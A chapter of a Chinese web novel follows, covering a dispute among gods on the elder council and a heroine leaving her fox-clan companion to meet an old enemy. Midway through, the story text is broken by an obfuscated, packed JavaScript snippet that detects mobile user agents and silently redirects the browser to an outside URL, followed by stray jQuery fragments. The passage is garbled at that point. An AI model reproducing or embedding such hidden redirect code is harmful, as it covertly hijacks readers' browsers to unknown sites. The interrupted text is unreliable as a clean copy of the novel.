49. 第 49 章

作品:《告诉白月光我不要他了

    这几日的上神界也颇为热闹。


    浣月彻底宣布站到四时的对立面,将她对缥缈峰灭门惨案的态度和行为公之于众,试图让众神重新站位。


    可诸神却拿那没用的陈规敷衍她。


    “按照规矩,修仙界的案子都是需要人证物证俱在,才能上达上神界,上神界核实之后方可审理。储山与缥缈峰一案事发已久,从未有任何宗门上报说需要严查的,那便是他们自行也可处理的,不必麻烦神界。浣月尊者未免有些小题大做了罢?”


    她小题大做?浣月嗤笑道:“这么说来,诸位是觉得缥缈峰数百条人命死不足惜咯?以后修仙界不管哪个门派突遭灭门,只要未报上来,上神界都可以不管?”


    “这……这规矩便是这样的,我等也是按规矩行事罢了,并未有不妥之处啊。”


    到了此时,浣月才明白自己高估了这帮神。他们的心早就在延续的,毫无用处的陈规陋矩中变得死板,糊涂,胆小,自私。


    玉光当初说的对:旧时的运行规则并不一定都是对的,那些不符合当下,失去平衡的旧制,是该废了重建。


    她冷眼看着诸神对高坐上位的四时打躬作揖,不由得感到恶心。忍不住怒骂:“尔等飞升的时候是把脑子给落下了吗?是非黑白不分,还整日一副奴颜媚骨的恶心样,你们是怎么心安理得接受世人的叩拜和供奉的?”


    众人充耳不闻,只一味对着四时笑。


    她的狂怒和无可奈何,四时一眼看尽,甚觉畅快,于是趁机大张旗鼓宣告:“浣月尊者多次出言不逊,即日起从长老会除名。”


    浣月蓦地瞪大眼,不可思议又鄙夷地盯着四时,突然发笑:“好啊,这就开始排除异己了。”


    四时俯身,用手指了下浣月,曼声道:“可不是我要针对你,是你实在嚣张又无视规矩,我若继续让你手握长老的权利,你怕是要仗着权势把上神界闹个翻天覆地。”


    “我仗权势?哈哈哈哈哈……四时,欲加之罪何患无辞啊。”


    四时不想再费口舌,刚要手书诏令,一道声音突然传来。


    “四时尊者这么做,不合规矩。”


    众神别开身,让出一条狭窄的道路,点星辰从中缓缓而来。


    “哦?星宿神有意见?”四时漫不经心问。


    “我方才说了,不合规矩,不合长老会,不合神界的规矩。”


    浣月向点星辰投去感激的目光,点星辰颔首,随后又道:“长老会四位尊者,若有一方要被除名,需经剩下三人同意才可,四时尊者不能私自做决定。”


    “我是长老会主持,整个神界我都有话语权,要想除名一个人,还需你们同意么?”


    点星辰微微一笑:“四时尊者的意思,神界和长老会自古延续下来的规矩都是摆设,好与不好,行与不行,全都是你一个人说了算。”


    诸神面目凝重,时不时抬眼打量四时,四时强压心中怒火,恨的暗暗啮齿。


    今日这一出分明就是浣月自找的,是她先不仁,那便休怪自己不义。明明一切就快成为定局,前路障碍她会一个一个清理干净,偏偏这个平日里不多言不多语的点星辰半路杀出来,跟浣月一样,与她对着干。


    她靠在椅背上,深深吐出一口浊气。“好,那就先停了她在长老会的决议权,好好做她的月神吧。”


    “还是不合规矩。”


    “点星辰!”浣月腾地起身,“我以为你一直独善其身,是个聪明人,能看懂局势,没想到也是个稀里糊涂的。”


    点星辰既不怒也不急,只道:“此事还是等玉光尊者回来后再商议吧。”


    说罢,他便邀浣月一起离开。


    桂树下,浣月独自喝着闷酒,点星辰仍旧在下那盘解不开的棋局。


    人难过的时候就想找人说道说道,浣月也不管点星辰听没听,自顾自说道:“这神我做够了。”


    她仰头灌下一大口酒,继续道:“神和凡人有什么区别?不过就是寿数比凡人长,本事比凡人大罢了,可是有什么用呢?还不是会有无能为力的时候。”


    “点星辰。”她支起脑袋,目光迷离,似神思早已远游,“当年我们三人同时飞升成神,诸神都道我们天赋卓绝,是神界的未来,苍生的福祉。现在想想,还真是让人叹惋,我们早已不是当年的我们,在这条看不到尽头的路上,早就各奔东西了。”


    “我们三人,离的越来越远了。”


    “我不是每夜都伴你司职么。”点星辰落下一子,眉头微微蹙了蹙,似是被什么给为难住了。


    浣月咯咯笑了几声,看到他举棋不定的模样,懒声道:“别自己瞎捉摸了,解铃还须系铃人。”


    “不,我自己可以解开。”


    “切,我就说你俩一样吧,难怪走不到一起。”


    棋子咣声落在棋盘上,转动了好几圈才堪堪安稳下来。点星辰捡起那颗掉落的棋子,意兴索然地丢回盅里。


    有些醉酒的浣月才不在意他心里是否舒畅,只喃喃说道:“点星辰,要是哪天我走了,我就把霜华托付给你。她在你这里,我才能放心。”


    点星辰负手而立,抬头看向星辰皎月,淡声道:“你喝醉了,好好睡一觉吧。”


    翌日,日晒三竿,鹤声用过早膳便要出客栈。紫君被她那晚的神色给吓住了,一连好几日都没敢认真看她,见她要出门,便远远跟上。


    鹤声回头,一眼便瞧见假动作一堆,神情极不自然的他,唤道:“你过来。”


    紫君讪讪一笑,听话过来,却还是不敢离她太近。


    祖母以前常说:外头的女人是母老虎,比不得狐族女儿柔媚多娇,没什么事儿少出去溜达拈花惹草。


    这一次,他算是见识到了。


    瞧他畏手畏脚的模样,鹤声笑了笑,说:“我已经好了,你回青丘吧。”


    紫君猛地抬头:“那不行的。”


    “你堂堂狐族少主,天天跟在我屁股后面无所事事,会遭族人耻笑的。”


    “他们不敢。”


    “他们是不敢当面说你的不是,背地里可就不一定了。”


    紫君挥挥手:“你别管我的事,我自有安排。”


    “那你也别管我的事,我自有安排。”


    紫君现在才发现,女人倔起来了,十头牛都拉不回来。人间界同样鱼龙混杂,并不算绝对安全,她不肯好好吃药,伤自然也没好透,若遇到什么危险,可怎么办?


    他直截了当拒绝:“我绝不放你一个人在外头。”


    鹤声耐心不够,冷声道:“那随你吧。”


    路上,她一会要买这个要买那个,没多久紫君就开始负重前行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840616|172883||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。到了午后,紫君饥肠辘辘,想要让她去吃饭,她却道:“我渴了,要喝果子饮,还要吃糖葫芦,你给我买。”


    紫君卸下双肩的负担,朗声道:“行,我带你去买。”


    鹤声一屁股坐下:“伤没好透,走太久了,没力气。”


    “好,我背你去。”


    鹤声愣愣地瞪着他:“你不信我?”


    “姐姐,不是我不信你,是你真的不大听话。”


    “不信的话,那就不买了,就这么渴着,饿着吧。”她傍着柱子,一副颓然又委屈的模样。


    紫君跟她耗了半霎,眼见她嘴唇越来越干,越来越白,终是于心不忍,叮嘱道:“我去给你买,你答应我,就在这里等,不许乱跑。”


    鹤声斜眼愣他:“你看我现在这个鬼样子能跑到哪里去?”


    午后的太阳晒的人燥渴难耐,紫君挤过攒动的人群来到卖果子饮的铺子,先给自己买了一盅,几口灌下解了身心的闷热,又才去找卖糖葫芦的。


    这大热的天,哪儿还有卖糖葫芦的?


    他找了好几条街,都没找到,便买些果脯和饼带回去。


    “来了来了,果子饮来了。”


    紫君嘴角的笑瞬时凝固,他前后左右相看了好几圈,又不甘地去问旁边摆摊的大爷:“您瞧见方才坐这里的姑娘了吗?”


    大爷告诉他:“姑娘早走了。”


    紫君觉得天快塌了,把手里头的吃食一骨碌全塞给大爷,拔腿就钻进人群里。


    鹤声也不知道自己还能去哪里,就这么漫无目的地走啊走,突然走到了金玉赌坊。


    赌坊的门上贴着长长两道封条,檐下早挂满了蛛网,连门窗都脱色了。


    她停在那里,看了好半霎,直到有人撞了她一下才勉强回神。


    一个满头白发的女人牵着一个小女孩走向赌坊,然后慢慢坐在门口的石阶上。女孩儿手里头握着果子饮,目光呆滞地盯着一处看,白发女人不断提醒她喝水,她充耳不闻。


    女人适时抬头,在看到温鹤声的一瞬,慈和的目光登时凌厉起来。


    还真是不是冤家不聚头啊。


    鹤声也觉得巧。


    宁母冲她拍了拍身旁的空位,示意她过去坐。鹤声没拒绝,也没防备,径直过去坐下。


    宁母看了眼她的脸色,嬉笑道:“看来你过得一般啊。”


    “你也不怎么好。”想了想,她又补充道,“那个蒙骗你的伪神已经死了,被我杀死的。”


    “是吗?那你可真能干。”宁母侧头盯着她,“既然你这么能干,又怎么会把自己搞的这么糟糕呢?你知道我现在看你像什么吗?”


    “像什么?”


    “像快死了。”


    鹤声干笑两声:“不奇怪,你一直都盼着我死。说起来,你还蛮关心我的。”


    “呸!姑娘家家的,脸真厚。”


    “你也没好到哪里去。”


    互呛了几句,二人都不在说话了,就么静静坐着,好似她们从来就没有生过节一样。


    鹤声想:那些爱啊恨的或许会随着时间推移,逐渐淡化,直至消失不见吧。


    后来,宁母带着宁彩蝶走了,走前没跟鹤声打招呼,鹤声也没跟她说再见。


    毕竟她们曾经都那么憎恨对方,还是不要再见的好。